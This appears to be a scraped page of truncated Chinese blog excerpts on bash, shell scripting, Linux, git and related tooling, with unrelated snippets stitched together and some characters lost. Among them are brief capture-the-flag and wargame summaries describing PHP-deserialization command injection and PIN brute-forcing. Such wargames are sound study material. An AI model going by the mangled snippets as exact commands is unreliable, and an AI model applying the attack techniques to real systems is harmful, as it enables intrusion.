文章目录 4、权限管理1、chmod - 修改文件或目录权限(1.)-R - 递归改变给定目录及其子目录中所有文件或目录的权限(2.)-c - 逐一列出更改的文件权限(3.)-v - 显示详细的更改信息(4.)-f - 忽略错误信息&#xff0c;强制执行更改(5.)使用字母来修改权限 2、chown - 修改文件或目录…

如何通过一个Bash定界符来分割一个字符串

文章目录 问题回答1回答2 问题 我将这个字符串存储在一个变量中: IN"blasome.com;johnhome.com"现在我想用 ; 分隔符分割字符串&#xff0c;以便我得到: ADDR1"blasome.com" ADDR2"johnhome.com"我不是必须需要变量 ADDR1 和 ADDR2。如果它们…

构建未来交通:香橙派OPI Airpro上的智能交通监管系统

引言&#xff1a; 随着城市化进程的加速&#xff0c;交通管理变得越来越复杂。 传统的交通监管系统往往无法有效应对日益增长的车辆数量和复杂的交通状况。因此&#xff0c;我们需要一种更加智能和自适应的解决方案来提高交通效率并减少事故发生率。 香橙派OPI Airpro以其强大的…

基于k8s的高性能综合web服务器搭建

目录 基于k8s的高性能综合web服务器搭建 项目描述&#xff1a; 项目规划图&#xff1a; 项目环境&#xff1a; k8s&#xff0c; docker centos7.9 nginx prometheus grafana flask ansible Jenkins等 1.规划设计整个集群的架构&#xff0c;k8s单master的集群环境&…

如何在Bash中连接字符串变量

问题&#xff1a; 在 PHP 中&#xff0c;字符串按如下方式连接在一起&#xff1a; $foo "Hello"; $foo . " World";在这里&#xff0c;$foo 变成了 "Hello World"。 在 Bash 中如何实现这一点? 回答1&#xff1a; foo"Hello" fo…

Wargames与bash知识11

Wargames与bash知识11 bandit19 关卡提示&#xff1a; 要获得对下一级别的访问权限&#xff0c;您应该使用家目录中的setuid二进制文件。在不带参数的情况下执行它&#xff0c;以了解如何使用。在使用setuid二进制文件后&#xff0c;可以在通常的位置&#xff08;/etc/bandit…

使用Nginx作为一个普通代理服务器

使用Nginx作为一个普通代理服务器, 请不要用于违法用途哦 nginx作为一个反向代理工具&#xff0c;除了可以进行反向代理之外&#xff0c;还可以用来作为代理工具来使用&#xff0c;作为代理工具使用的步骤如下&#xff0c;这个配置目前支持80端口 Windows系统代理设置对应IP, …

Ubuntu系统默认的dash shell改成bash shell

在Ubuntu系统中&#xff0c;如果默认的/bin/sh链接指向了dash&#xff0c;而你希望将其更改为指向bash&#xff0c;可以通过以下步骤操作&#xff1a; sudo rm /bin/sh sudo ln -s /bin/bash /bin/sh 但是&#xff0c;这种做法并不推荐&#xff0c;因为某些系统服务和脚本依赖…

Linux 中 .bashrc、.bash-profile 和 .profile 之间的区别

Bash shell 使用一些启动文件来设置环境&#xff0c;这些文件决定了 Bash shell 本身和系统用户配置。在本文中&#xff0c;将介绍一些常用启动文件&#xff0c;如 .bashrc、.bash-profile 和 .profile及其区别。 2 交互式 和 非交互式 Shell 2.1 交互式 Shell&#xff08;In…

Shell编程初识

Shell初识 ShellShell 脚本Shell 环境第一个shell脚本实例 运行 Shell 脚本方法&#xff1a;1、作为可执行程序2、作为解释器参数3.使用 . (空格)脚本名称来执行4.使用 source 来执行(主要用于生效配置文件)区别1.关于执行权限2.关于是否开启子shell线程 脚本排错及问题判断she…

自定义实现shell/bash

文章目录 函数和进程之间的相似性shell打印提示符&#xff0c;以及获取用户输入分割用户的输入判断是否是内建命令执行相关的命令 全部代码 正文开始前给大家推荐个网站&#xff0c;前些天发现了一个巨牛的 人工智能学习网站&#xff0c; 通俗易懂&#xff0c;风趣幽默&#…

C++的list类(一):list类的常见操作和模拟实现

目录 前言 List类的迭代器 List类的模拟实现 list.h文件 test.cpp文件 前言 vector的insert和erase都会导致迭代器失效list的insert不会导致迭代器失效&#xff0c;erase会导致迭代器失效 insert导致失效的原因是开辟了新空间后&#xff0c;迭代器扔指向原空间erase导致失…

【攻防世界】unseping (反序列化与Linux bash shell)

打开题目环境&#xff1a; 1、进行PHP代码审计&#xff0c;通过审计得知需要用到PHP反序列化。找到输出flag的位置为 ping()函数。通过使用 exec() 函数来执行 $ip 并将结果保存在 $result 中&#xff0c;最终输出 $result。 2、接着寻找给 $ip 传参的位置&#xff0c;发现通过…

git bash上传文件至github仓库

Linux运维工具-ywtool 目录 一.访问github二.新建仓库1.点击自己头像2.选择"your repositories"3.点击"New"4.创建新仓库 三.通过git bash软件上传文件1.提示2.打开git bash软件3.切换到本地仓库目录4.配置github的用户名和邮箱信息5.生成SSH Key6.github添…

bash的login shell与non-login shell,以及各自的初始化过程

识别login shell与non-login shell login shell 可能是以-开头的 [almalinuxVM-AlmaLinux8-tmpl-wanlinwang ~]$ echo $0 -bash # "-" is the first character. Therefore, this is a login shell.或者以--login启动的bash [almalinuxVM-AlmaLinux8-tmpl-wanlinw…

(Git) gitignore基础使用

文章目录 前言.gitignore 模式匹配注释 #转义 \直接匹配任意字符匹配 *单个字符匹配 ?目录分割 /多级目录 **范围匹配 []取消匹配 ! 检查是否生效父子文件END 前言 Git - gitignore Documentation (git-scm.com) 在使用git管理的项目中&#xff0c;可以通过.gitignore文件管理…

【Shell语言学堂】Shell 脚本练习1

Shell 脚本练习 shell语言实战 Shell 脚本练习&#x1f4a7;CSDN划过手的泪滴t现有一个脚本可传入n个参数&#xff0c;要求在脚本中实现在终端输出第n个参数之前的所有参数(不包含第n个参数)编写一个计算bmi体质指数的脚本&#xff0c;该脚本需要用户输入身高和体重信息&#x…

【Python】无法将“pip”项识别为 cmdlet、函数、脚本文件或可运行程序的名称解决方案

【Python】无法将“pip”项识别为 cmdlet、函数、脚本文件或可运行程序的名称解决方案 大家好 我是寸铁&#x1f44a; 总结了一篇【Python】无法将“pip”项识别为 cmdlet、函数、脚本文件或可运行程序的名称解决方案✨ 喜欢的小伙伴可以点点关注 &#x1f49d; 前言 今天寸铁…

Linux 创建命令

在学习linux操作系统时,一般从最基本的cd、pwd命令,到常用命令mkdir、cat、df等,再到高级命令sed、awk、nmcli、crontab等,学习linux时会遇到大量命令。当我们不会使用时,可以借助man、info、--help等,查看如何使用,从中学习选项、参数等设置方法。 当进一步学习bash编…

sh与bash:Shell脚本中的微妙差异

在Unix和Linux的世界中&#xff0c;Shell是用户与操作系统交互的主要界面。Shell提供了命令行界面&#xff0c;使得用户能够执行各种命令和操作。在众多的Shell中&#xff0c;sh和bash是最常见且使用最广泛的两种。尽管它们在很多方面相似&#xff0c;但在功能、特性和语法上&a…

【bash自动补全原理】

1 bash自动补全原理 1&#xff09;自动补全依赖于bash的内置命令complete、compgen、和/etc/bash_completioin.d路径下的自动补全脚本。补齐功能可以通过脚本指定命令参数如何补齐。默认补全脚本在/etc/bash_completion.d目录下。 2&#xff09;一般系统中会安装bash-complet…

【linux基础】bash脚本的学习:定义变量及引用变量、统计目标目录下所有文件行数、列数

假设目的&#xff1a;统计并输出指定文件夹下所有文件行数 单个文件可以用 wc -l &#xff1b;多个文件&#xff0c;可以用通配符 / 借助bash脚本 1.定义变量名&#xff0c;使用引号 a"bestqc.com.map" b"Anno.variant_function" c"enrichment/GOe…

C++的list类(二):list类的模拟实现和迭代器模板

目录 List类的迭代器问题 List类的模拟实现 结点类模板 涉及知识点 普通迭代器类模板 构造迭代器对象 *运算符重载 ->运算符重载 前后置、--、、!重载 涉及知识点 链表类模板 构造链表对象 指定位置插入、删除指定位置 begin、end 头尾插、头尾删 构造、析构…

【bash】linux使用环境变量拼接字符串错误

有如下脚本init-env.sh #!/bin/bash export HADOOP_HOME/opt/hadoop export HADOOP_CONF$HADOOP_HOME/conf执行结果&#xff1a; source init-env.sh echo $HADOOP_CONF_DIR # 得到结果&#xff1a;conf/hadoop&#xff0c;预期因该是/opt/hadoop/conf原因就是linux下使用了w…

git bash用法-批量修改文件名

在win系统上安装git bash可以使用命令行模式操作&#xff0c;比较方便 1.原始文件名 2.代码 for file in *3utr*; do mv "$file" "$(echo "$file" | sed s/3utr/5utr/)"; done3.修改后的文件名

bash 5.2中文修订4

Compound Commands 复合命令 复合命令是 shell 编程语言的结构。每个构造都以保留字或控制运算符开始&#xff0c;并以相应的保留字或运算符终止。与复合命令关联的任何重定向&#xff08;请参阅 Redirections &#xff09;都适用于该复合命令中的所有命令&#xff0c;除非显式…

笔记 | Clickhouse命令行查询

在 ClickHouse 中&#xff0c;可以使用命令行客户端执行查询。默认情况下&#xff0c;ClickHouse 的命令行客户端称为 clickhouse-client。下面是一些基本的步骤和示例&#xff0c;用于使用 clickhouse-client 进行查询。 首先&#xff0c;需要确保已经安装了 ClickHouse 服务…

某大厂关于Linux系统相关面试题

一、Linux系统和Shell 1、写一个sed命令&#xff0c;修改/tmp/input.txt文件的内容&#xff0c;要求&#xff1a;(1) 删除所有空行&#xff1b;(2) 在非空行前面加一个"AAA"&#xff0c;在行尾加一个"BBB"&#xff0c;即将内容为11111的一行改为&#xff1…

笔记 | Clickhouse 命令行连接及查询

在 ClickHouse 中&#xff0c;可以使用命令行客户端执行查询。默认情况下&#xff0c;ClickHouse 的命令行客户端称为 clickhouse-client。下面是一些基本的步骤和示例&#xff0c;用于使用 clickhouse-client 进行查询。 首先&#xff0c;需要确保已经安装了 ClickHouse 服务…

shell script中的数值运算declare和$((运算式 ))

linux中变量定义默认是字符串类型&#xff0c;如要进行数值运算&#xff0c;需要先声明变量类型&#xff0c;或者通过固定格式来计算 看案例 如果不通过固定格式&#xff0c;直接 echo 55 如图&#xff0c;结果显示的55本身 可以写成 declare -i var#声明变量integrate类型&…

Linux的test测试功能

测试文件名的类型&#xff0c;文件是否存在&#xff0c; 文件的权限检测 文件之间的比较 两个整数之间的比较 判断字符串数据 多重条件判定 一个一个来&#xff0c;这个有点多&#xff0c;不过比较有意思&#xff0c;来代码 案例1&#xff0c;判断文件是否存在&#xff…

Day05-Linux bash核心介绍及目录命令讲解

Day05-Linux bash核心介绍及目录命令讲解 上课内容Linux目录核心命令 上课内容 图形化配置网卡 nmtui配置完成&#xff1a; systemctl restart network #重启所有网卡 ifup eth1 #只启动网卡1 ifdown eth1 #只关闭网卡1查看IP ip a ifconfig(yum install net-tools -y)1…

Shell编程入门--变量

变量 1.变量类型1.1.预定义变量1.2.环境变量1.3.自定义变量1.4.位置变量 2.变量运算2.1.基础运算2.2.浮点运算2.3.随机数 3.变量引用3.1.转义3.2.读取用户标准输入read3.3.花里胡哨的echo 4.变量置换4.1.命令替换4.2.变量替换4.3.变量替换——匹配截取4.4.basename && …

Cygwin 自制离线安装包 (bash+vim+python3.9) + 使用教程

cygwin自制离线安装包(bashvimpython3.9)使用教程 视图&#xff1a;完整 搜索需要安装的软件&#xff0c;例如&#xff1a; bash 搜索需要安装的软件&#xff0c;例如&#xff1a; vim 搜索需要安装的软件&#xff0c;例如&#xff1a; python3 需要安装的软件都找到之后&…

Shell判断:模式匹配:case(三)

系统管理工具箱 1、需求&#xff1a;Linux提供的丰富的管理命令&#xff0c;用户管理&#xff0c;内存管理&#xff0c;磁盘管理&#xff0c;进程管理&#xff0c;日志管理&#xff0c;文件管理&#xff0c;软件管理&#xff0c;网络管理等等数十个工具包。如果你能通过shell编…

dash shell 和 zsh shell 简单介绍

一、dash shell dash shell不能识别bash shell的所有脚本编程功能 dash shell支持expr命令和双圆括号方法&#xff0c;但不支持方括号方法。 bash shell的test命令允许你使用双等号()来测试两个字符串是否相等。这是为了照顾习惯在其他编程语言中使用这种格式的程序员而加上去…

轻松记录收支明细,一键打印,财务无忧!

作为现代人&#xff0c;管理好个人财务是非常重要的。但是&#xff0c;如何记录收支明细并打印出来呢&#xff1f;今天&#xff0c;我们向您推荐一款财务软件&#xff0c;帮助您轻松解决这个问题。 首先第一步&#xff0c;我们要打开【晨曦记账本】&#xff0c;并登录账号。 第…

Shell循环:for(一)

语法结构&#xff1a; for 变量名 [ in 取值列表] do 循环体 done 示例1&#xff1a; 1、需求&#xff1a;自动循环创建10个用户 2、演示&#xff1a; [rootlocalhost ~]# vim for.sh #脚本编写 #!/bin/bash for i in {1..10} do useradd "user$…

链式队列实现,二叉树的中序及后序遍历

链式队列&#xff1a; fun.c #include"head.h" qup create_queue(){qup q(qup)malloc(sizeof(struct queue));if(NULLq){printf("申请空间失败\n");return NULL;}node head(node)malloc(sizeof(struct node));if(NULLhead){printf("空间申请失败&qu…

npm 镜像源切换与设置

项目背景 依赖安装中断或响应特别慢。 可以看到当前所用的镜像是 https://registry.npmjs.org 。 切换淘宝镜像之后总算能够安装下来 命令行模式 查看当前镜像源 # 查看当前镜像源 npm config get registry 可以看到默认情况下是官方默认全局镜像 https://registry.npmjs.o…

浅谈Linux bash脚本----获取脚本启动参数

${#} 用于获取传递给脚本的参数数目 params_count${#} echo $params_count > ./PATH/TO/my_script.sh param1p1 param2p2 > 2 ${} 用于获取传递给脚本的参数列表 params_list${} echo $params_list > ./PATH/TO/my_script.sh param1p1 param2p2 > param1p1 …

浅谈Linux bash脚本----getopts获取脚本POSIX标准传参

getopts是一个在 Shell 脚本中用于解析命令行选项的内置命令。 它用于处理脚本的参数&#xff0c;使得脚本可以接受不同的选项和参数&#xff0c;并根据用户提供的输入采取相应的操作。 getopts 命令基于 POSIX 标准&#xff0c;并且通常与 while 循环结合使用。它的语法如下…

Bash命令启动、关闭、重启Jar包

1、创建文件夹&#xff0c;将项目jar文件丢入服务器中 mkdir -m 755 test -m&#xff1a;类似chmod 给文件夹权限 2、一般开发环境和部署环境配置不一致&#xff0c;在有外置配置及内置配置时&#xff0c;JAR优先使用外置配置文件&#xff0c;即将外置配置文件修改好之后&am…

bash简化if-else

#!/usr/bin/env bashsource /bal/bash-simplify/dir_util.sh#测试_get_arg: #debug__get_argtrue; x$(_get_arg example.sh 37 "true ||") ; echo $x #_is_git_2xfunction _get_arg(){ ##若变量debug__get_arg为空&#xff0c;则设置其为false # [ "x" &…

[Linux]如何理解kernel、shell、bash

文章目录 概念总览kernelshell&bash 概念总览 内核(kernel) &#xff0c;外壳(shell) &#xff0c;bash kernel kernel是指操作系统中的核心部分&#xff0c;用户一般是不能直接使用kernel的。它主要负责管理硬件资源和提供系统服务&#xff0c;如内存管理、进程管理、文件…

Shell与Bash与POSIX与Linux间的关系

shell是什么&#xff1f; Shell的英语翻译是“壳”&#xff0c;其作用也跟名字差不多&#xff0c;为操作系统套个壳&#xff0c;人与操作系统的壳交互。与壳相对应的则是操作系统内核&#xff0c;一个“壳”一个“核”。核从1970年代开始就基本定型了&#xff0c;没什么大的改…

❀expect命令运用于bash❀

目录 ❀expect命令运用于bash❀ expect使用原理 expet使用场景 常用的expect命令选项 Expect脚本的结尾 常用的expect命令选参数 Expect执行方式 单一分支语法 多分支模式语法第一种 多分支模式语法第二种 在shell 中嵌套expect Shell Here Document&#xff08;内…

Linux运维_Bash脚本_编译安装GNU-Tools

Linux运维_Bash脚本_编译安装GNU-Tools Bash (Bourne Again Shell) 是一个解释器&#xff0c;负责处理 Unix 系统命令行上的命令。它是由 Brian Fox 编写的免费软件&#xff0c;并于 1989 年发布的免费软件&#xff0c;作为 Sh (Bourne Shell) 的替代品。 您可以在 Linux 和 …

『运维备忘录』之 Shell 内置命令大集合

前言 在 Shell 中&#xff0c;有许多内置命令可用于执行各种任务&#xff0c;包括文件操作、进程管理、环境变量设置等。本文将详细介绍一些常见的Shell内置命令及其示例用法。 命令描述alias创建命令别名&#xff0c;用于将命令或命令组合关联到用户自定义名称bg将作业放入后…

策略模式详解+代码案例

首先简单介绍策略模式 该模式定义了一系列算法&#xff0c;并将每个算法封装起来&#xff0c;使它们可以相互替换&#xff0c;且算法的变化不会影响使用算法的客户。策略模式属于对象行为模式&#xff0c;它通过对算法进行封装&#xff0c;把使用算法的责任和算法的实现分割开…

bash数组的用法

一、单纯数组 #!/usr/bin/env bash#1、定义一个空数组 my_array()#2、增。使用 运算符将元素添加到数组的末尾 my_array("value1") my_array("value2") my_array("value3")#3、增。还可以使用一行的方式一次性添加多个元素到数组 my_array(&qu…

Linux进程概念(二):进程的基本概念与进程的创建

目录 进程的基本概念 进程控制块-PCB 学前补充 预备知识 创建&#xff08;子&#xff09;进程 创建&#xff08;子&#xff09;进程的原因 理解fork有两个返回值 进程的基本概念 基本概念&#xff1a;程序的一个执行实例&#xff0c;正在执行的程序等 内核层面&#x…

如何在Bash中比较数字

问题&#xff1a; 我无法让数值比较工作正常&#xff1a; echo "enter two numbers"; read a b;echo "a$a"; echo "b$b";if [ $a \> $b ]; thenecho "a is greater than b"; elseecho "b is greater than a"; fi;问题在…

Wargames与bash知识15

Wargames与bash知识15 Bandit23 基于时间的作业调度程序cron会定期自动运行一个程序。在/etc/cron.d/中查找配置&#xff0c;并查看正在执行的命令。 注意&#xff1a;此级别要求您创建自己的第一个shell脚本。这是一个很大的进步&#xff0c;当你达到这个水平时&#xff0c;…

Wargames与bash知识16

Wargames与bash知识16 Bandit24 关卡提示&#xff1a; 一个守护进程正在端口30002上侦听&#xff0c;如果给定bandit24的密码和一个4位数的密码&#xff0c;它将为您提供bandit25的密码。没有办法检索pincode&#xff0c;除非遍历所有10000个组合&#xff0c;称为暴力强制。您…

在 Git Bash 中调整字体大小,可以按照以下步骤进行操作,注意这里是linux虚拟机,命令都是Linux方式的

在 Git Bash 中调整字体大小&#xff0c;可以按照以下步骤进行操作&#xff1a; 打开 Git Bash 终端。 在终端中&#xff0c;点击顶部菜单栏的 "Options"&#xff08;选项&#xff09;。 在弹出的下拉菜单中&#xff0c;选择“text”文本 右侧font那里&#xf…

Wargames与bash知识17

Wargames与bash知识17 Bandit25&#xff08;Bandit26&#xff09; 关卡提示 从bandit25登录到bandit26应该相当容易…用户bandit26的shell不是/bin/bash&#xff0c;而是其他东西。找出它是什么&#xff0c;它是如何工作的&#xff0c;以及如何摆脱它。 推荐命令 ssh, cat, …

Linux系统运维脚本:通过进程的id号(PID号)找到进程的工作目录。提供多种方法找到进程的位置?

目 录 一、问题 二、解决办法 1、方法 2、解释 三、其他方法 1&#xff0c;使用pwdx PID 2&#xff0c;使用lsof -p | grep cwd 一、问题 我们经常用如下命令来查看我们关心的进程&#xff0c; ps -ef | grep xxx 比如&#xff0c;想了解nginx进程的命令操作和…

Git介绍与常用命令总结

Git介绍与其常用命令总结 1、Git介绍2、Git的使用3、Git常用命令3.1 初始化仓库3.2 克隆仓库3.3 配置用户信息3.4 提交代码(Commit)3.5 推送代码(Push)3.6 拉取代码(Pull)3.7 分支(Branch)3.8 远程仓库(Remote)3.9 撤销回退本地改动3.10 更新本地仓库与远程仓库 1、Git介绍 Gi…

解决 sh 和 bash 在执行脚本时的差异:双括号问题

解决 sh 和 bash 在执行脚本时的差异&#xff1a;双括号问题 在编写和执行 shell 脚本时&#xff0c;我们经常会遇到使用 sh 和 bash 命令的选择问题。尽管这两者在许多情况下可以互换使用&#xff0c;但它们之间存在一些重要的区别&#xff0c;这些区别可能会导致脚本执行时出…

Linux运维_Bash脚本_编译安装Apache(httpd-2.4.54)

Linux运维_Bash脚本_编译安装Apache(httpd-2.4.54) Bash (Bourne Again Shell) 是一个解释器&#xff0c;负责处理 Unix 系统命令行上的命令。它是由 Brian Fox 编写的免费软件&#xff0c;并于 1989 年发布的免费软件&#xff0c;作为 Sh (Bourne Shell) 的替代品。 您可以在…

linux系统lvs命令的使用

Lvs命令 LVS ipvsadm 命令的使用LVS-server安装lvs管理软件命令选项 LVS ipvsadm 命令的使用 LVS-server安装lvs管理软件 yum -y install ipvsadm 程序包&#xff1a;ipvsadm&#xff08;LVS管理工具&#xff09; 主程序&#xff1a;/usr/sbin/ipvsadm 规则保存工具&#x…

`ln --relative` 识别相对路径并创建文件链接

一直以来, ln 命令用起来都不是非常直接: 如果想要在非当前文件夹下创建软链接, 那么 ln 命令接受的第一个路径参数就不是相对当前目录而言, 而是相对目标文件 (第二个路径参数) 而言. 因此, 首先 shell 的路径自动补全功能全无用武之地, 其次还得推断相对路径, 很不方便, 一直…

Git bash获取ssh key

目录 1、获取密钥 2、查看密钥 3、在vs中向GitHub推送代码 4、重新向GitHub推送修改过的代码 1、获取密钥 指令&#xff1a;ssh-keygen -t rsa -C "邮箱地址" 连续按三次回车&#xff0c;直到出现类似以下界面&#xff1a; 2、查看密钥 路径&#xff1a;C:\U…

【Linux文本处理三剑客-grep、awk、sed】

grep, awk, 和 sed 是三个强大的文本处理工具&#xff0c;在Linux系统中广泛使用。每个工具都有其独特的特性和用法&#xff0c;下面我会对每一个工具进行简要的介绍和说明。 1.grep grep 是一个用于模式搜索的工具&#xff0c;它可以在文件或者标准输入中搜索包含特定模式的…

windows下powershell与linux下bash美化教程(使用starship)

starship美化教程 Win11 Powershell 安装 在命令行使用下面命令安装 # 安装starship winget install starship将以下内容添加到 Microsoft.PowerShell_profile.ps1&#xff0c;可以在 PowerShell 通过 $PROFILE 变量来查询文件的位置 Invoke-Expression (&starship i…

Linux初学(九)shell 脚本

一、shell 脚本编程 1.1 简介 shell脚本就是一个文件 在这个文件中包含了要批量自动执行的命令 写shell脚本的基本规范 第一步&#xff1a;用vi/vim创建一个后缀是.sh的文件 第二步&#xff1a;在文件中写入内容 第一行是&#xff1a;#!/bin/bash 指定程序的解释器从第二行开始…

Github获取ssh key的办法

目录 目录 前言 1、获取密钥指令 2、查看密钥 3、在vs中向GitHub推送代码 4、重新向GitHub推送修改过的代码 前言 不管是git bash还是xshell&#xff0c;还是其它软件获取ssh key的方式都一样&#xff0c;只不过查看的位置不同 1、获取密钥指令 指令&#xff1a;ssh-…

###用sh ``` 用sh ``json失败

###用sh 用sh如果你希望使用 Shell 脚本来实现同样的功能&#xff0c;你可以编写一个简单的 Shell 脚本来执行。以下是一个示例 Shell 脚本&#xff0c;它可以读取 JSON 文件&#xff0c;并将每个章节保存到单独的文本文件中&#xff1a; #!/bin/bash# JSON 文件路径 json_fi…

Linux实战笔记(五) shell

大家好&#xff0c;我是半虹&#xff0c;这篇文章我们介绍一下 shell 1、Shell Shell 通常泛指系统提供给用户的操作界面&#xff0c;是系统内核与用户之间的连接 Shell 这个名字其实还挺形象的&#xff0c;中文翻译是壳&#xff0c;什么的壳呢&#xff0c;自然是系统内核的壳…

字符串标记高亮脚本

源码 #!/bin/bash # usage: # echo hhh|mark str [font_color] [background_color] # font_color and background_color is optional, default is black&whiterp_str$1 f_color30 b_color47if [ "${f_color}a" "a" ]; thenf_color30 fiif [ "${…

每日shell脚本之自动化备份管理镜像

每日shell脚本之自动化备份管理镜像 #!/bin/bash h_sl(){echo "-------------------" } save(){if [ ! -d "./images" ]; thenmkdir imagesficd imagesdocker images --format "{{.ID}} {{.Repository}}:{{.Tag}} {{.Size}}" > images_pull.…

Shell脚本之函数及数组

目录 一、函数 1.1函数的作用 1.2函数的基本格式 1.3函数注意事项 1.4函数调用的方法 1.5函数的返回值 1.6函数的传参 1.7在外部调用函数 1.8函数变量的作用范围 1.9函数的递归 二、数组 2.1shell数组的定义 2.2定义属组的方法 2.3数组的数据类型 2.4获取数组的…

Shell脚本小游戏之猜数字(1-9)

代码块&#xff1a; #!/bin/bash pcecho $[RANDOM%91] count0 while true do read -p "请输入一个数字&#xff08;1-9&#xff09;&#xff1a;" num let count if [ $pc -eq $num ] thenecho "恭喜你猜对啦"echo "你一共猜了$count次"exit 1 …

Shell脚本之打印99乘法表(两种方法)

法一&#xff1a; #!/bin/bash n1 while [ $n -lt 10 ] dofor ((m1;m<$n;m))doecho -n -e "${m}x${n}$[m*n]\t"done echo n$((n1)) done法二&#xff1a; #!/bin/bash for j in {1..9} do for i in seq $j do echo -e -n "${i}x${j}$[ $i * $j ]\t"…

【gltf-pipeline】安装gltf-pipeline 进行文件格式转换

问题 想使用gltf-pipeline进行gltf和glb格式转换。简单记录一下安装过程。 解决 1、安装Node.js Node.js下载路径&#xff1a;https://nodejs.org/en 建议默认设置安装。 添加系统环境变量&#xff1a; 测试安装是否成功&#xff1a; 在cmd.exe中运行&#xff1a; no…

【Linux】-基于程序替换,重定向知识,手写一个shell程序,那你的程序可以类似于bash一样去使用

&#x1f496;作者&#xff1a;小树苗渴望变成参天大树&#x1f388; &#x1f389;作者宣言&#xff1a;认真写好每一篇博客&#x1f4a4; &#x1f38a;作者gitee:gitee✨ &#x1f49e;作者专栏&#xff1a;C语言,数据结构初阶,Linux,C 动态规划算法&#x1f384; 如 果 你 …

Linux eval将一个字符串作为命令执行

eval用来在执行命令时作二次解析&#xff1a;主要是每次执行一个shell命令它会先检察一次&#xff0c;看到有$标志就会把值替换一次&#xff0c;然后再执行一遍。eval不会唤起起另一个shell来执行&#xff0c;而是在本身这个shell内多解析一次&#xff0c;所以替换的结果可以保…

shell文件书写规则、执行

1.shell文件执行 新建shell文件&#xff1a;shell.sh 执行&#xff1a;cd进父目录 ./shell.sh 报错&#xff1a;Permission denied 报错是因为shell文件有语法错误。 chmod 777 *.sh 参考&#xff1a;运行shell脚本报错&#xff1a;Permission denied_一只奋斗的小强的博客…

Linuxbrew安装及使用介绍

Linuxbrew安装及使用介绍Linuxbrew安装安装linuxbrewlinuxbrew必装包brew常用命令linuxbrew注意事项Linuxbrew安装 The Homebrew package manager for Linux 安装linuxbrew 将以下命令粘贴到命令行中运行: sh -c "$(curl -fsSL https://raw.githubusercontent.com/Lin…

【Bash】记录一个长命令换行的BUG

假设现在我要在terminal执行如下命令跑模型&#xff1a; CUDA_VISIBLE_DEVICES6 python finetune.py -c configs/quantized/resnet32_cifar100_finetune.yml --model resnet32 --data-dir ~/datasets --apex-amp --initial-checkpoint /home/zwx/projects/hawq/resnet32.pth.t…

Shell编程循环语句for while until(心有所觉,但亦做不解)

一、for 循环 1.用法和特点 读取不同的变量值&#xff0c;用来逐个执行同一组命令 for循环经常使用在已经知道要进行多少次循环的场景 for 变量 in 取值列表 -- 默认取值分割符&#xff08;空格、制表符、换行符&#xff09;do 或 {命令序列 done 或 }2.执行指…

认识BASH这个Shell

文章目录 认识BASH这个Shell硬件、内核与shell为什么要学命令行模式的Shell&#xff1f;Bash Shell的功能命令与文件补全(TAB)命令别名设置(alias)历史命令(history)任务管理、前台、后台控制(jobs&#xff0c;fg&#xff0c;bg)通配符程序化脚本 查询命令是否为Bash shell 的内…

在vscode中配置git bash终端、git 源码管理

打开vscode文件->首选项->设置&#xff0c;打开设置搜索shell windows将以下配置添加到vscode中的settings.json中 注意&#xff1a; terminal.integrated.profiles.windows这个配置项是就是添加终端的terminal.integrated.defaultProfile.windows这个是配置默认选项的…

【Git基础】分支与标签

文章目录 1. 标准工作流程1.1 管理分支1.2 分支策略 2. 创建标签2.1 创建2.2 签署 3. 操作标签 1. 标准工作流程 1.1 管理分支 Git是一个分布式版本控制系统&#xff0c;分支管理是其核心功能之一。分支允许开发者在不同的版本上进行并行开发&#xff0c;之后可以将其合并到主…

1.【mac】环境变量说明

1 Mac系统的环境变量&#xff0c;加载顺序为&#xff1a; /etc/profile /etc/paths ~/.bash_profile ~/.bash_login ~/.profile ~/.bashrc当然/etc/profile和/etc/paths是系统级别的&#xff0c;系统启动就会加载&#xff0c;后面几个是当前用户级的环境变量。后面3个按照从前…

【BASH】回顾与知识点梳理(三十五)

【BASH】回顾与知识点梳理 三十五 三十五. 二十七至三十四章知识点总结及练习35.1 总结35.2 练习RAIDLVMsystemd 35.3 简答题 该系列目录 --> 【BASH】回顾与知识点梳理&#xff08;目录&#xff09; 三十五. 二十七至三十四章知识点总结及练习 35.1 总结 Quota 可公平的分…

关于ros工作空间devel下setup.bash的理解

在创建了ros的工作空间之后 在工作空间的devel文件夹中存在几个setup.*sh形式的环境变量设置脚本 使用source命令运行这些脚本文件&#xff0c;则工作空间的环境变量设置可以生效&#xff08;如可以找到该工作空间内的项目&#xff09;。 source devel/setup.bash 设置环境变量…

py添加登录页面

for i in range(3):name input(用户名:)passwd input(密码:)if name czf and passwd 654321:print(登录成功)breakelse:print(登录失败)print(您还剩余%d次机会 %(2 - i)) else:print(登录次数超过三次&#xff0c;请稍后登录)print(请等60秒)print 暂停时间:, seconds现在…

bash中的if条件语句报错[: missing `]'

这是我的一个小demo #!/bin/bashread -p "请输入3个数&#xff1a;" n1 n2 n3 if [ $n1 -gt $n2 ] && [ $n1 -gt $n3 ] then echo "max_num is $n1" elif [ $n3 -gt $n2 ] && [ $n1 -lt $n3 ] then echo "max_num is $n3" else…

Linux 中的内部命令和外部命令

Linux 中的内部命令和外部命令 作者&#xff1a;Grey 原文地址&#xff1a; 博客园&#xff1a;Linux 中的内部命令和外部命令 CSDN&#xff1a;Linux 中的内部命令和外部命令 什么是 bash shell ? bash shell&#xff0c;就是一个程序&#xff0c;就是 Linux 系统安装的…

几个bash快捷键

停下手里活&#xff0c;学点一举两得的小技能&#xff0c;保证五分钟搞定&#xff01; “棕色粗体”表示“我推荐的”&#xff01; Ctrl-A 相当于HOME键&#xff0c;用于将光标定位到本行最前面 Ctrl-E 相当于End键&#xff0c;即将光标移动到本行末尾 Ctrl-B 相当于左箭头键…

设置Linux 不记录历史命令的方法(转)

说明&#xff1a; 1、历史命令是被保存在内存和~/.bash_history中&#xff0c;当退出或者登录shell时&#xff0c;会自动保存或读取 2、在常见的Linux发行版本中&#xff0c;通常默认存储1000条历史命令&#xff0c;该数量是由环境变量HISTSIZE进行控制 3、/usr/bin目录下保…

linux ls和 ll 命令

ll 命令列出的信息更加详细&#xff0c;有时间&#xff0c;是否可读写等信息 ll命令和ls -l命令结果区别&#xff1a; 上面结果说明&#xff1a; ll会列出该文件下的所有文件信息&#xff0c;包括隐藏的文件&#xff0c;而ls -l只列出显式文件&#xff0c;说明这两个命令还…

linux文件作用介绍

根目录&#xff08;/&#xff09;下面应该有的文件夹&#xff1a; 目录应放置文件内容/bin系统有很多放置执行文件的目录&#xff0c;但/bin比较特殊。因为/bin放置的是在单人维护模式下还能够被操作的指令。 在/bin底下的指令可以被root与一般账号所使用&#xff0c;主要有&am…

bash shell while语法

